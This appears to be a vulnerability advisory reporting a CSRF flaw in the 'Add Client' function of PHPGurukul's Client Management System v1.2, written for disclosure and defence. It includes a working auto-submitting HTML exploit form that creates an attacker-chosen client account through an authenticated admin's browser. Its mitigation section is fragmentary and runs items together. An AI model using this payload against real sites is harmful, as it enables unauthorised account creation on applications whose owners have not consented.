
Proof-of-concept demonstrating a CSRF vulnerability in a PHP-based Client Management System, with HTML exploit code and mitigation strategies for web application security testing.
Project Name & Repo URL : https://phpgurukul.com/client-management-system-using-php-mysql/
Vulnerability Name : Cross-Site Request Forgery(CSRF)
Affected Version : V1.2
A Cross-Site Request Forgery (CSRF) vulnerability exists in the Add Client Functionality of the Client Management System developed by PHPGurukul. CSRF is an attack where an authenticated user is tricked into submitting a malicious request to a web application. This can lead to unauthorized actions being performed on behalf of the user . In this report, we demonstrate how CSRF can be used to create fake users in a Client Management System and suggest mitigation strategies.
Using provided credentials, log in to the Client Management System.



Below is the HTML PoC for CSRF attack:
<html>
<body>
<form action="http://localhost/clientms/admin/add-client.php" method="POST">
<input type="hidden" name="accounttype" value="Active Account" />
<input type="hidden" name="cname" value="moulimurugan" />
<input type="hidden" name="comname" value="kppr" />
<input type="hidden" name="address" value="vijayamangalam" />
<input type="hidden" name="city" value="erode" />
<input type="hidden" name="state" value="tamil" />
<input type="hidden" name="zcode" value="638026" />
<input type="hidden" name="wphnumber" value="968560710" />
<input type="hidden" name="cellphnumber" value="6931052465" />
<input type="hidden" name="ophnumber" value="9638560410" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="password" value="moulimurugan" />
<input type="hidden" name="websiteadd" value="clientmsdb" />
<input type="hidden" name="notes" value="Nil" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>



To prevent CSRF attacks, implement the following measures:
SameSite=Strict or SameSite=Lax attributes.POST for sensitive actions and avoid processing GET requests with side effects .This report demonstrates how CSRF vulnerabilities can be exploited to create unauthorized Clients in a Client Management System. Implementing the suggested mitigation strategies will help secure the application against such attacks.